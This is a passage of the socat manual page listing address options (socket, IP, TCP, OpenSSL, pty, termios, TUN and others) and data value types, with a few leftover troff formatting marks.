Forces the use of the specified IP version or protocol. <string> can be something like “ip4” or “ip6”. The resulting value is used as first argument to the socket() or socketpair() calls. This option affects address resolution and the required syntax of bind and range options.

socktype=<type>
Sets the type of the socket, specified as second argument to the socket() or socketpair() calls, to <type> [int]. Address resolution is not affected by this option. Under Linux, 1 means stream oriented socket, 2 means datagram socket, 3 means raw socket, and 5 seqpacket (stream keeping packet boundaries). Datagrams are useful when you want to keep packet boundaries.

protocol
Sets the protocol of the socket, specified as third argument to the socket() or socketpair() calls, to <protocol> [int]. Address resolution is not affected by this option. 6 means TCP, 17 means UDP.

reuseport
Set the SO_REUSEPORT socket option.

so-timestamp
Sets the SO_TIMESTAMP socket option. This enables receiving and logging of timestamp ancillary messages.

setsockopt=<level>:<optname>:<optval>
Invokes setsockopt()`` for the socket with the given parameters. ``level [int] is used as second argument to setsockopt()`` and specifies the layer, e.g. SOL_TCP for TCP (6 on Linux), or SOL_SOCKET for the socket layer (1 on Linux). optname`` [int] is the third argument to setsockopt()`` and tells which socket option is to be set. For the actual numbers you might have to look up the appropriate include files of your system. For the 4th and 5th setsockopt()`` parameters, value`` [dalan] specifies an arbitrary sequence of bytes that are passed to the function per pointer, with the automatically derived length parameter.

setsockopt-int=<level>:<optname>:<optval>
Like setsockopt``, but <optval> is a pointer to int [int]

setsockopt-listen=<level>:<optname>:<optval>
Like setsockopt``, but for listen type addresses it is applied to the listening socket instead of the connected socket.

setsockopt-string=<level>:<optname>:<optval>
Like setsockopt``, but <optval> is a string. This string is passed to the function with trailing null character, and the length parameter is automatically derived from the data.

UNIX option group

These options apply to UNIX domain based addresses.

“bind-tempname[=/tmp/pre-XXXXXX],
unix-bind-tempname[=/tmp/pre-XXXXXX]" Binds to a random path or random address (on abstract namespace sockets). This is useful with datagram client addresses (SENDTO``, or ``CLIENT``) that are opened in child processes forked off from a common parent process where the child processes cannot have different bind options. In the path X ’s get replaced with a random character sequence similar to tempnam(3). When no argument is given socat takes a default like /tmp/fileXXXXXX .

unix-tightsocklen[=(0|1)]
On socket operations, pass a socket address length that does not include the whole struct sockaddr_un record but (besides other components) only the relevant part of the filename or abstract string. Default is 1.

IP4 and IP6 option groups

These options can be used with IPv4 and IPv6 based sockets.

tos=<tos>
Sets the TOS (type of service) field of outgoing packets to <tos> [byte] (see RFC 791).

ttl=<ttl>
Sets the TTL (time to live) field of outgoing packets to <ttl> [byte].

ip-options=<data>
Sets IP options like source routing. Must be given in binary form, recommended format is a leading “x” followed by an even number of hex digits. This option may be used multiple times, data are appended. E.g., to connect to host 10.0.0.1 via some gateway using a loose source route, use the gateway as address parameter and set a loose source route using the option ip-options=x8307040a000001 .
IP options are defined in RFC 791.

mtudiscover=<0|1|2>
Takes 0, 1, 2 to never, want, or always use path MTU discover on this socket.

ip-pktinfo
Sets the IP_PKTINFO socket option. This enables receiving and logging of ancillary messages containing destination address and interface (Linux) (example).

ip-recverr
Sets the IP_RECVERR socket option. This enables receiving and logging of ancillary messages containing detailed error information.

ip-recvopts
Sets the IP_RECVOPTS socket option. This enables receiving and logging of IP options ancillary messages (Linux, *BSD).

ip-recvtos
Sets the IP_RECVTOS socket option. This enables receiving and logging of TOS (type of service) ancillary messages (Linux).

ip-recvttl
Sets the IP_RECVTTL socket option. This enables receiving and logging of TTL (time to live) ancillary messages (Linux, *BSD).

ip-recvdstaddr
Sets the IP_RECVDSTADDR socket option. This enables receiving and logging of ancillary messages containing destination address (*BSD) (example).

ip-recvif
Sets the IP_RECVIF socket option. This enables receiving and logging of interface ancillary messages (*BSD) (example).

ip-add-membership=<multicast-address:interface-address>

ip-add-membership=<multicast-address:interface-name>

ip-add-membership=<multicast-address:interface-index>

ip-add-membership=<multicast-address:interface-address:interface-name>

ip-add-membership=<multicast-address:interface-address:interface-index>
Makes the socket member of the specified multicast group. This only works for IPv4, see ipv6-join-group for the IPv6 variant. The option takes the IP address of the multicast group and info about the desired network interface. The most common syntax is the first one, while the others are only available on systems that provide struct mreqn`` (Linux).
The indices of active network interfaces can be shown using the utility procan.

ip-add-source-membership=<multicast-address:interface-address:source-address>
Makes the socket member of the specified multicast group for the specified source, i.e. only multicast traffic from this address is to be delivered. This only works for IPv4, see ipv6-join-source-group for the IPv6 variant. The option takes the IP address of the multicast group, the IP address of the desired network interface and the source IP address of the multicast traffic.

ipv6-join-group=<multicast-address:interface-name>

ipv6-join-group=<multicast-address:interface-index>
Makes the socket member of the specified multicast group. This only works for IPv6, see ip-add-membership for the IPv4 variant. The option takes the IP address of the multicast group and info about the desired network interface. The indices of active network interfaces can be shown using the utility procan.

ipv6-join-source-group=<multicast-address:interface-name:source-address>

ipv6-join-source-group=<multicast-address:interface-index:source-address>
Makes the socket member of the specified multicast group for the specified source, i.e. only multicast traffic from this address is to be delivered. This only works for IPv6, see ip-add-source-membership for the IPv4 variant. The option takes the IP address of the multicast group, info about the desired network interface and the source IP address of the multicast traffic. The indices of active network interfaces can be shown using the utility procan.

ip-multicast-if=<hostname>
Specifies hostname or address of the network interface to be used for multicast traffic.

ip-multicast-loop[=<bool>]
Specifies if outgoing multicast traffic should loop back to the interface.

ip-multicast-ttl=<byte>
Sets the TTL used for outgoing multicast traffic. Default is 1.

ip-transparent
Sets the IP_TRANSPARENT socket option. This option might require root privilege.

Resolver options

These options temporarily change the behaviour of hostname resolution. The options of form ai-* affect behaviour of the getaddrinfo() function that includes /etc/hosts and NIS based lookups.

The addresses of form res-* only affect DNS lookups, and only when the result is not cached in nscd . These options might not work on all operating systems or libc implementations.

ai-addrconfig[=0|1]

addrconfig[=0|1]
Sets or unsets the AI_ADDRCONFIG flag to prevent name resolution to address families that are not available on the computer (e.g. IPv6). Default value is 1 in case the resolver does not get an address family hint from Socat address or defaults.

ai-passive[=0|1]

passive[=0|1]
Sets of unsets the AI_PASSIVE flag for getaddrinfo() calls. Default is 1 for LISTEN, RECV, and RECVFROM type addresses, and with bind option.

ai-v4mapped[=0|1]

v4mapped[=0|1]
Sets or unsets the AI_V4MAPPED flag for getaddrinfo() . With socat addresses requiring IPv6 addresses, this resolves IPv4 addresses to the approriate IPv6 address [::ffff:*:*]. For IPv6 Socat addresses, the default is 1.

res-debug

res-aaonly

res-usevc

res-primary

res-igntc

res-recurse

res-defnames

res-stayopen

res-dnsrch
These options set the corresponding resolver (name resolution) option flags. Append “=0” to clear a default option. See man resolver(5) for more information on these options. Socat restores the old values after finishing the open phase of the address, so these options are valid just for the address they are applied to.
Please note that these flags only affect DNS resolution, but not hosts or NIS based name resolution, and they have no effect when (g)libc retrieves the results from nscd .

res-retrans=<int>
Sets the retransmission time interval of the DNS resolver (based on an undocumented feature).

res-retry=<int>
Sets the number of retransmits of the DNS resolver (based on an undocumented feature).

res-nsaddr=<ipaddr>[:<port>]
Tries to overwrite nameserver settings loaded from /etc/resolv.conf by writing the given IPv4 address into the undocumented _res:nsaddr_list[0] field. /etc/hosts is still checked by resolver. Please note that glibc’s nscd is always queried first when it is running!

IP6 option group

These options can only be used on IPv6 based sockets. See IP options for options that can be applied to both IPv4 and IPv6 sockets.

ipv6only[=<bool>]
Sets the IPV6_V6ONLY socket option. If 0, the TCP stack will also accept connections using IPv4 protocol on the same port. The default is system dependent.

ipv6-recvdstopts
Sets the IPV6_RECVDSTOPTS socket option. This enables receiving and logging of ancillary messages containing the destination options.

ipv6-recvhoplimit
Sets the IPV6_RECVHOPLIMIT socket option. This enables receiving and logging of ancillary messages containing the hoplimit.

ipv6-recvhopopts
Sets the IPV6_RECVHOPOPTS socket option. This enables receiving and logging of ancillary messages containing the hop options.

ipv6-recvpktinfo
Sets the IPV6_RECVPKTINFO socket option. This enables receiving and logging of ancillary messages containing destination address and interface.

ipv6-unicast-hops=link(TYPE_INT)(<int>)
Sets the IPV6_UNICAST_HOPS socket option. This sets the hop count limit (TTL) for outgoing unicast packets.

ipv6-recvrthdr
Sets the IPV6_RECVRTHDR socket option. This enables receiving and logging of ancillary messages containing routing information.

ipv6-tclass
Sets the IPV6_TCLASS socket option. This sets the transfer class of outgoing packets.

ipv6-recvtclass
Sets the IPV6_RECVTCLASS socket option. This enables receiving and logging of ancillary messages containing the transfer class.

TCP option group

These options may be applied to TCP sockets. They work by invoking setsockopt() with the appropriate parameters.

cork
Doesn’t send packets smaller than MSS (maximal segment size).

defer-accept
While listening, accepts connections only when data from the peer arrived.

keepcnt=<count>
Sets the number of keepalives before shutting down the socket to <count> [int].

keepidle=<seconds>
Sets the idle time before sending the first keepalive to <seconds> [int].

keepintvl=<seconds>
Sets the interval between two keepalives to <seconds> [int].

linger2=<seconds>
Sets the time to keep the socket in FIN-WAIT-2 state to <seconds> [int].

mss=<bytes>
Sets the MSS (maximum segment size) after the socket() call to <bytes> [int]. This value is then proposed to the peer with the SYN or SYN/ACK packet (example).

mss-late=<bytes>
Sets the MSS of the socket after connection has been established to <bytes> [int].

nodelay
Turns off the Nagle algorithm for measuring the RTT (round trip time).

rfc1323
Enables RFC1323 TCP options: TCP window scale, round-trip time measurement (RTTM), and protect against wrapped sequence numbers (PAWS) (AIX).

stdurg
Enables RFC1122 compliant urgent pointer handling (AIX).

syncnt=<count>
Sets the maximal number of SYN retransmits during connect to <count> [int].

md5sig
Enables generation of MD5 digests on the packets (FreeBSD).

noopt
Disables use of TCP options (FreeBSD, MacOSX).

nopush
sets the TCP_NOPUSH socket option (FreeBSD, MacOSX).

sack-disable
Disables use the selective acknowledge feature (OpenBSD).

signature-enable
Enables generation of MD5 digests on the packets (OpenBSD).

abort-threshold=<milliseconds>
Sets the time to wait for an answer of the peer on an established connection (HP-UX).

conn-abort-threshold=<milliseconds>
Sets the time to wait for an answer of the server during the initial connect (HP-UX).

keepinit
Sets the time to wait for an answer of the server during connect() before giving up. Value in half seconds, default is 150 (75s) (Tru64).

paws
Enables the “protect against wrapped sequence numbers” feature (Tru64).

sackena
Enables selective acknowledge (Tru64).

tsoptena
Enables the time stamp option that allows RTT recalculation on existing connections (Tru64).

UDP option group

This option may be applied to UDP datagram sockets.

udp-ignore-peerport>
Address UDP-DATAGRAM expects incoming responses to come from the port specified in its second parameter. With this option, it accepts packets coming from any port.

UDPLITE option group

These options may be applied to UDPLITE addresses:

udplite-send-cscov
Sets the number of bytes for which the checksum is calculated and sent (“checksum coverage”).

udplite-recv-cscov
Sets the number of bytes for which the checksum is checked (“checksum coverage”).

SCTP option group

These options may be applied to SCTP stream sockets.

sctp-nodelay
Sets the SCTP_NODELAY socket option that disables the Nagle algorithm.

sctp-maxseg=<bytes>
Sets the SCTP_MAXSEG socket option to <bytes> [int]. This value is then proposed to the peer with the SYN or SYN/ACK packet.

DCCP option group

These options may be applied to DCCP sockets.

dccp-set-ccid=<int>

ccid=<int>
Selects the desired congestion control mechanism (CCID).

UDP, TCP, SCTP, DCCP, and UDPLITE option group

Here we find options that are related to the network port mechanism and thus can be used with UDP, TCP, SCTP, DCCP, and UDP-Lite client and server addresses.

sourceport=<port>
For outgoing (client) connections, it sets the source <port> using an extra bind() call. With TCP or UDP listen addresses, socat immediately shuts down the connection if the client does not use this sourceport. UDP-RECV, UDP-RECVFROM, UDP-SENDTO, and UDP-DATAGRAM addresses ignore the packet when it does not match. (example).

lowport
Outgoing (client) connections with this option use an unused random source port between 640 and 1023 incl. On UNIX class operating systems, this requires root privilege, and thus indicates that the client process is authorized by local root. TCP and UDP listen addresses with this option immediately shut down the connection if the client does not use a sourceport <= 1023. This mechanism can provide limited authorization under some circumstances.

SOCKS option group

When using SOCKS type addresses, some socks specific options can be set.

socksport=<tcp service>
Overrides the default “socks” service or port 1080 for the socks server port with <TCP service>.

socksuser=<user>
Sends the <user> [string] in the username field to the socks server. Default is the actual user name ($LOGNAME or $USER) (example).

HTTP option group

Options that can be provided with HTTP type addresses. The only HTTP address currently implemented is proxy-connect.

http-version=<string>
Changes the default “1.0” that is sent to the server in the initial HTTP request. Currently it has not other effect, in particular it does not provide any means to send a Host header.

proxyport=<TCP service>
Overrides the default HTTP proxy port 8080 with <TCP service>.

ignorecr
The HTTP protocol requires the use of CR+NL as line terminator. When a proxy server violates this standard, socat might not understand its answer. This option directs socat to interprete NL as line terminator and to ignore CR in the answer. Nevertheless, socat sends CR+NL to the proxy.

proxy-authorization=<username>:<password>
Provide “basic” authentication to the proxy server. The argument to the option is used with a “Proxy-Authorization: Basic” header in base64 encoded form.
Note: username and password are visible for every user on the local machine in the process list; username and password are transferred to the proxy server unencrypted (base64 encoded) and might be sniffed.

proxy-authorization-file=<filename>
Like option proxy-authorization, but the credentials are read from the file and therefore not visible in the process list.

resolve
Per default, socat sends to the proxy a CONNECT request containing the target hostname. With this option, socat resolves the hostname locally and sends the IP address. Please note that, according to RFC 2396, only name resolution to IPv4 addresses is implemented.

RANGE option group

These options check if a connecting client should be granted access. They can be applied to listening and receiving network sockets. tcp-wrappers options fall into this group.

range=<address-range>
After accepting a connection, tests if the peer is within range. For IPv4 addresses, address-range takes the form address/bits, e.g. 10.0.0.0/8, or address:mask, e.g. 10.0.0.0:255.0.0.0 (example); for IPv6, it is [ip6-address]/bits, e.g. [::1]/128. If the client address does not match, socat refuses the connection attempt, issues a warning, and keeps listening/receiving.

tcpwrap[=<name>]
Uses Wietse Venema’s libwrap (tcpd) library to determine if the client is allowed to connect. The configuration files are /etc/hosts.allow and /etc/hosts.deny per default, see “man 5 hosts_access” for more information. The optional <name> (type string) is passed to the wrapper functions as daemon process name (example). If omitted, the basename of socats invocation (argv[0]) is passed. If both tcpwrap and range options are applied to an address, both conditions must be fulfilled to allow the connection.

allow-table=<filename>
Takes the specified file instead of /etc/hosts.allow.

deny-table=<filename>
Takes the specified file instead of /etc/hosts.deny.

tcpwrap-etc=<directoryname>
Looks for hosts.allow and hosts.deny in the specified directory. Is overridden by options hosts-allow and hosts-deny.

LISTEN option group

Options specific to listening sockets.

backlog=<count>
Sets the backlog value passed with the listen() system call to <count> [int]. Default is 5.

accept-timeout=<seconds>
End waiting for a connection after <seconds> [timeval] with error status.

CHILD option group

Addresses of LISTEN and CONNECT type take the fork option to handle multiple connections via child processes.

fork
After establishing a connection, handles its channel in a child process and keeps the parent process attempting to produce more connections, either by listening or by connecting in a loop (example).
OPENSSL-CONNECT and OPENSSL-LISTEN differ in when they actually fork off the child: OPENSSL-LISTEN forks before the SSL handshake, while OPENSSL-CONNECT forks afterwards. retry and forever options are not inherited by the child process.
On some operating systems (e.g. FreeBSD) this option does not work for UDP-LISTEN addresses.

max-children=<count>
Limits the number of concurrent child processes [int]. Default is no limit.

children-shutup[=1|2|..]
Decreases the severity of log messages produced by child processes. For example, with value 1 notices are logged as info (or dropped depending on option -dX), and errors are logged as warnings but still cause termination of the child process.
This option is intended to reduce logging of high volume servers or proxies.
This option succeeds option cool-write.

EXEC option group

Options for addresses that invoke a program.

path=<string>
Overrides the PATH environment variable for searching the program with <string>. This $PATH value is effective in the child process too.

login
Prefixes argv[0] for the execvp() call with ’-’, thus making a shell behave as login shell.

FORK option group

EXEC or SYSTEM addresses invoke a program using a child process and transfer data between socat and the program. The interprocess communication mechanism can be influenced with the following options. Per default, a socketpair() is created and assigned to stdin and stdout of the child process, while stderr is inherited from the socat process, and the child process uses file descriptors 0 and 1 for communicating with the main socat process.

nofork
Does not fork a subprocess for executing the program, instead calls execvp() or system() directly from the actual socat instance. This avoids the overhead of another process between the program and its peer, but introduces a lot of restrictions:

  1. this option can only be applied to the second socat address.

  2. it cannot be applied to a part of a dual address.

  3. the first socat address cannot be OPENSSL or READLINE

  4. socat options -b, -t, -D, -l, -v, -x become useless

  5. for both addresses, options ignoreeof, cr, and crnl become useless

  6. for the second address (the one with option nofork), options append, cloexec, flock, user, group, mode, nonblock, perm-late, setlk, and setpgid cannot be applied. Some of these could be used on the first address though.

pipes
Creates a pair of unnamed pipes for interprocess communication instead of a socket pair.

openpty
Establishes communication with the sub process using a pseudo terminal created with openpty() instead of the default (socketpair or ptmx).

ptmx
Establishes communication with the sub process using a pseudo terminal created by opening /dev/ptmxor/dev/ptc instead of the default (socketpair).

pty
Establishes communication with the sub process using a pseudo terminal instead of a socket pair. Creates the pty with an available mechanism. If openpty and ptmx are both available, it uses ptmx because this is POSIX compliant (example).

ctty
Makes the pty the controlling tty of the sub process (example).

stderr
Directs stderr of the sub process to its output channel by making stderr a dup() of stdout (example).

fdin=<fdnum>
Assigns the sub processes input channel to its file descriptor <fdnum> instead of stdin (0). The program started from the subprocess has to use this fd for reading data from socat(example).

fdout=<fdnum>
Assigns the sub processes output channel to its file descriptor <fdnum> instead of stdout (1). The program started from the subprocess has to use this fd for writing data to socat (example).

sighup, sigint, sigquit
Has socat pass signals of this type to the sub process. If no address has this option, socat terminates on these signals.

Options for address SHELL

shell=<filename>
Overwrites use the default shell with the named executable, e.g. /bin/dash``. Also sets the ``SHELL`` environment variable.

TERMIOS option group

For addresses that work on a tty (e.g., stdio, file:/dev/tty, exec:…,pty), the terminal parameters defined in the UN*X termios mechanism are made available as address option parameters. Please note that changes of the parameters of your interactive terminal remain effective after socat’s termination, so you might have to enter “reset” or “stty sane” in your shell afterwards. For EXEC and SYSTEM addresses with option PTY, these options apply to the pty by the child processes.

b0
Disconnects the terminal.

b19200
Sets the serial line speed to 19200 baud. Some other rates are possible; use something like socat -hh |grep ’ b[1-9]’`` to find all speeds supported by your implementation.
Note: On some operating systems, these options may not be available. Use ispeed or ospeed instead.

echo[=<bool>]
Enables or disables local echo.

icanon[=<bool>]
Sets or clears canonical mode, enabling line buffering and some special characters.

raw
Sets raw mode, thus passing input and output almost unprocessed. This option is obsolete, use option rawer or cfmakeraw instead.

rawer
Makes terminal rawer than raw option. This option implicitly turns off echo. (example).

cfmakeraw
Sets raw mode by invoking cfmakeraw()`` or by simulating this call. This option implicitly turns off echo.

ignbrk[=<bool>]
Ignores or interpretes the BREAK character (e.g., ^C)

brkint[=<bool>]

bs0

bs1

bsdly=<0|1>

clocal[=<bool>]

.LP .nf cr0 cr1 cr2 cr3 .fi .IP Sets the carriage return delay to 0, 1, 2, or 3, respectively. 0 means no delay, the other values are terminal dependent.

crdly=<0|1|2|3>

cread[=<bool>]

crtscts[=<bool>]

.LP .nf cs5 cs6 cs7 cs8 .fi .IP Sets the character size to 5, 6, 7, or 8 bits, respectively.

csize=<0|1|2|3>

cstopb[=<bool>]
Sets two stop bits, rather than one.

dsusp=<byte>
Sets the value for the VDSUSP character that suspends the current foreground process and reactivates the shell (all except Linux).

echoctl[=<bool>]
Echos control characters in hat notation (e.g. ^A)

echoe[=<bool>]

echok[=<bool>]

echoke[=<bool>]

echonl[=<bool>]

echoprt[=<bool>]

eof=<byte>

eol=<byte>

eol2=<byte>

erase=<byte>

discard=<byte>

ff0

ff1

ffdly[=<bool>]

flusho[=<bool>]

hupcl[=<bool>]

icrnl[=<bool>]

iexten[=<bool>]

igncr[=<bool>]

ignpar[=<bool>]

imaxbel[=<bool>]

inlcr[=<bool>]

inpck[=<bool>]

intr=<byte>

isig[=<bool>]

ispeed=<unsigned-int>
Set the baud rate for incoming data on this line.
See also: ospeed, b19200

istrip[=<bool>]

iuclc[=<bool>]

ixany[=<bool>]

ixoff[=<bool>]

ixon[=<bool>]

kill=<byte>

lnext=<byte>

min=<byte>

nl0
Sets the newline delay to 0.

nl1

nldly[=<bool>]

noflsh[=<bool>]

ocrnl[=<bool>]

ofdel[=<bool>]

ofill[=<bool>]

olcuc[=<bool>]

onlcr[=<bool>]

onlret[=<bool>]

onocr[=<bool>]

opost[=<bool>]
Enables or disables output processing; e.g., converts NL to CR-NL.

ospeed=<unsigned-int>
Set the baud rate for outgoing data on this line.
See also: ispeed, b19200

parenb[=<bool>]
Enable parity generation on output and parity checking for input.

parmrk[=<bool>]

parodd[=<bool>]

pendin[=<bool>]

quit=<byte>

reprint=<byte>

sane
Brings the terminal to something like a useful default state.

start=<byte>

stop=<byte>

susp=<byte>

swtc=<byte>

tab0

tab1

tab2

tab3

tabdly=<unsigned-int>

time=<byte>

tostop[=<bool>]

vt0

vt1

vtdly[=<bool>]

werase=<byte>

xcase[=<bool>]

xtabs

i-pop-all
With UNIX System V STREAMS, removes all drivers from the stack.

i-push=<string>
With UNIX System V STREAMS, pushes the driver (module) with the given name (string) onto the stack. For example, to make sure that a character device on Solaris supports termios etc, use the following options: i-pop-all,i-push=ptem,i-push=ldterm,i-push=ttcompat

PTY option group

These options are intended for use with the pty address type.

link=<filename>
Generates a symbolic link that points to the actual pseudo terminal (pty). This might help to solve the problem that ptys are generated with more or less unpredictable names, making it difficult to directly access the socat generated pty automatically. With this option, the user can specify a “fix” point in the file hierarchy that helps him to access the actual pty (example). Beginning with socat version 1.4.3, the symbolic link is removed when the address is closed (but see option unlink-close).

wait-slave
Blocks the open phase until a process opens the slave side of the pty. Usually, socat continues after generating the pty with opening the next address or with entering the transfer loop. With the wait-slave option, socat waits until some process opens the slave side of the pty before continuing. This option only works if the operating system provides the poll() system call. And it depends on an undocumented behaviour of pty’s, so it does not work on all operating systems. It has successfully been tested on Linux, FreeBSD, NetBSD, and on Tru64 with openpty.

pty-interval=<seconds>
When the wait-slave option is set, socat periodically checks the HUP condition using poll()`` to find if the pty’s slave side has been opened. The default polling interval is 1s. Use the pty-interval option [timeval] to change this value.

sitout-eio=<timeval>
The login program in Linux closes its tty/pty and reopens it for security reasons. During this time the pty master would get EIO on I/O operations and might terminate. With this option socat tolerates EIO for the specified time. Please note that in this state socat blocks traffic in both directions, even when it is not related to this channel.

OPENSSL option group

These options apply to the openssl and openssl-listen address types.

cipher=<cipherlist>
Specifies the list of ciphers that may be used for the connection. See the man page of ciphers , section CIPHER LIST FORMAT, for detailed information about syntax, values, and default of <cipherlist>.
Several cipher strings may be given, separated by ’:’. Some simple cipher strings:

3DES
Uses a cipher suite with triple DES.

MD5
Uses a cipher suite with MD5.

aNULL
Uses a cipher suite without authentication.

NULL
Does not use encryption.

HIGH
Uses a cipher suite with “high” encryption. Note that the peer must support the selected property, or the negotiation will fail.

method=<ssl-method>
This option is based on deprecated functions and is only available when socat was build with option ``--with-openssl-method``. Use option min-proto-version and maybe max-proto-version instead. Sets the protocol version to be used. Valid strings (not case sensitive) are:

SSL2
Select SSL protocol version 2.

SSL3
Select SSL protocol version 3.

SSL23
Select the best available SSL or TLS protocol.

TLS1
Select TLS protocol version 1.

TLS1.1
Select TLS protocol version 1.1.

TLS1.2
Select TLS protocol version 1.2. When this option is not provided OpenSSL negotiates the mothod with its peer.

min-proto-version
This option tells OpenSSL to use this or a later SSL/TLS protocol version and refuses to accept a lower/older protocol. Valid syntax is:

SSL2
Select SSL protocol version 2.

SSL3
Select SSL protocol version 3.

TLS1

TLS1.0
Select TLS protocol version 1.

TLS1.1
Select TLS protocol version 1.1.

TLS1.2
Select TLS protocol version 1.2.

TLS1.3
Select TLS protocol version 1.3.

openssl-max-proto-version
This option is similar to min-proto-version, however, it disallows use of a higher protocol version. Useful for testing the peer.

verify[=<bool>]
Controls check of the peer’s certificate. Default is 1 (true). Disabling verify might open your socket for everyone, making the encryption useless!

cert=<filename>
Specifies the file with the certificate and private key for authentication. The certificate must be in OpenSSL format (*.pem). With openssl-listen, use of this option is strongly recommended. Except with cipher aNULL, “no shared ciphers” error will occur when no certificate is given.

key=<filename>
Specifies the file with the private key. The private key may be in this file or in the file given with the cert option. The party that has to proof that it is the owner of a certificate needs the private key.

dhparams=<filename>
Specifies the file with the Diffie Hellman parameters. These parameters may also be in the file given with the cert option in which case the dhparams option is not needed.

cafile=<filename>
Specifies the file with the trusted (root) authority certificates. The file must be in PEM format and should contain one or more certificates. The party that checks the authentication of its peer trusts only certificates that are in this file.

capath=<dirname>
Specifies the directory with the trusted (root) certificates. The directory must contain certificates in PEM format and their hashes (see OpenSSL documentation)

egd=<filename>
On some systems, openssl requires an explicit source of random data. Specify the socket name where an entropy gathering daemon like egd provides random data, e.g. /dev/egd-pool.

openssl-maxfraglen=<int>, maxfraglen=<int>
For client connections, make a Max Fragment Length Negotiation Request to the server to limit the maximum size fragment the server will send to us. Supported lengths are: 512, 1024, 2048, or 4096. Note that this option is not applicable for OPENSSL-LISTEN.

openssl-maxsendfrag=<int>, maxsendfrag=<int>
Limit the maximum size of the fragment we will send to the other side. Supported length range: 512 - 16384. Note that under OPENSSL-LISTEN, the maximum fragment size may be further limited by the client’s Maximum Fragment Length Negotiation Request, if it makes one.

pseudo
On systems where openssl cannot find an entropy source and where no entropy gathering daemon can be utilized, this option activates a mechanism for providing pseudo entropy. This is achieved by taking the current time in microseconds for feeding the libc pseudo random number generator with an initial value. openssl is then feeded with output from random() calls.
NOTE:This mechanism is not sufficient for generation of secure keys!

compress
Enable or disable the use of compression for a connection. Setting this to “none” disables compression, setting it to “auto” lets OpenSSL choose the best available algorithm supported by both parties. The default is to not touch any compression-related settings. NOTE: Requires OpenSSL 0.9.8 or higher and disabling compression with OpenSSL 0.9.8 affects all new connections in the process.

commonname=<string>
Specify the commonname that the peer certificate must match. With OPENSSL-CONNECT address this overrides the given hostname or IP target address; with OPENSSL-LISTEN this turns on check of peer certificates commonname. This option has only meaning when option verify is not disabled and the chosen cipher provides a peer certificate.

no-sni[=<bool>]
Do not use the client side Server Name Indication (SNI) feature that selects the desired server certificate.
Note: SNI is automatically used since socat version 1.7.4.0 and uses commonname or the given host name.

snihost=<string>
Set the client side Server Name Indication (SNI) host name different from the addressed server name or common name. This might be useful when the server certificate has multiple host names or wildcard names because the SNI host name is passed in cleartext to the server and might be eavesdropped; with this option a mock name of the desired certificate may be transferred.

fips
Enables FIPS mode if compiled in. For info about the FIPS encryption implementation standard see http://oss-institute.org/fips-faq.html. This mode might require that the involved certificates are generated with a FIPS enabled version of openssl. Setting or clearing this option on one socat address affects all OpenSSL addresses of this process.

RETRY option group

Options that control retry of some system calls, especially connection attempts.

retry=<num>
Number of retries before the connection or listen attempt is aborted. Default is 0, which means just one attempt.

interval=<timespec>
Time between consecutive attempts (seconds, [timespec]). Default is 1 second.

forever
Performs an unlimited number of retry attempts.

INTERFACE option group

These options may be applied to addresses INTERFACE and TUN. These address types and options are currently only implemented on Linux operating system.

Note regarding VLANs: On incoming packets the Linux kernel strips off the VLAN tag before passing the data to the user space program on raw sockets. Special measures are required to get the VLAN information, see packet(7) PACKET_AUXDATA, and to optionally insert the tag into the packet again, use option retrieve-vlan when you need this.

retrieve-vlan
On packets incoming on raw sockets, retrieve the VLAN information and insert it into the packets for further processing (Linux)

iff-up
Sets the TUN network interface status UP. Strongly recommended.

iff-broadcast
Sets the BROADCAST flag of the TUN network interface.

iff-debug
Sets the DEBUG flag of the TUN network interface.

iff-loopback
Sets the LOOPBACK flag of the TUN network interface.

iff-pointopoint
Sets the POINTOPOINT flag of the TUN device.

iff-notrailers
Sets the NOTRAILERS flag of the TUN device.

iff-running
Sets the RUNNING flag of the TUN device.

iff-noarp
Sets the NOARP flag of the TUN device.

iff-promisc
Sets the PROMISC flag of the TUN device.

iff-allmulti
Sets the ALLMULTI flag of the TUN device.

iff-master
Sets the MASTER flag of the TUN device.

iff-slave
Sets the SLAVE flag of the TUN device.

iff-multicast
Sets the MULTICAST flag of the TUN device.

iff-portsel
Sets the PORTSEL flag of the TUN device.

iff-automedia
Sets the AUTOMEDIA flag of the TUN device.

iff-dynamic
Sets the DYNAMIC flag of the TUN device.

TUN option group

Options that control Linux TUN/TAP interface device addresses.

tun-device=<device-file>
Instructs socat to take another path for the TUN clone device. Default is /dev/net/tun``.

tun-name=<if-name>
Gives the resulting network interface a specific name instead of the system generated (tun0, tun1, etc.)

tun-type=[tun|tap]
Sets the type of the TUN device; use this option to generate a TAP device. See the Linux docu for the difference between these types. When you try to establish a tunnel between two TUN devices, their types should be the same.

iff-no-pi
Sets the IFF_NO_PI flag which controls if the device includes additional packet information in the tunnel. When you try to establish a tunnel between two TUN devices, these flags should have the same values.

POSIX-MQ option group

Options that may be applied to POSIX-MQ addresses.

posixmq-priority (mq-prio)
Sets the priority of messages (packets) written to the queue, or the minimal priority of packet read from the queue.

DATA VALUES

This section explains the different data types that address parameters and address options can take.

address-range
Is currently only implemented for IPv4 and IPv6. See address-option `range’

bool
“0” or “1”; if value is omitted, “1” is taken.

byte
An unsigned int number, read with strtoul() , lower or equal to UCHAR_MAX .

command-line
A string specifying a program name and its arguments, separated by single spaces.

data
This is a more general data specification. The given text string contains information about the target data type and value. Generally a leading character specifies the type of the following data item. In its specific context a default data type may exist.
Currently only the following specifications are implemented:

  1. A signed integer number, stored in host byte order.
    Example: i-1000 (Integer number -1000)
  1. An unsigned integer number, stored in host byte order.
  1. A signed long integer number, stored in host byte order.
  1. An unsigned long integer number, stored in host byte order.
  1. A signed short integer number, stored in host byte order.
  1. An unsigned short integer number, stored in host byte order.
  1. A signed byte (signed char).
  1. An unsigned byte (unsigned char).
  1. Following is an even number of hex digits, stored as sequence of bytes.
    Example: x7f000001 (IP address 127.0.0.1)

"
Following is a string that is used with the common conversions    �; the string must be closed with ’"’. Please note that the quotes and backslashes need to be escaped from shell and socat conversion.
Example: “Hello world! “


A single char, with the usual conversions. Please note that the quotes and backslashes need to be escaped from shell and socat conversion.
Example: ’a’ Data items may be separated with white space without need to repeat the type specifier again.

directory
A string with usual UN*X directory name semantics.

facility
The name of a syslog facility in lower case characters.

fdnum
An unsigned int type, read with strtoul() , specifying a UN*X file descriptor.

filename
A string with usual UN*X filename semantics.

group
If the first character is a decimal digit, the value is read with strtoul() as unsigned integer specifying a group id. Otherwise, it must be an existing group name.

int
A number following the rules of the strtol() function with base “0”, i.e. decimal number, octal number with leading “0”, or hexadecimal number with leading “0x”. The value must fit into a C int.

interface
A string specifying the device name of a network interface as shown by ifconfig or procan, e.g. “eth0”.

IP address
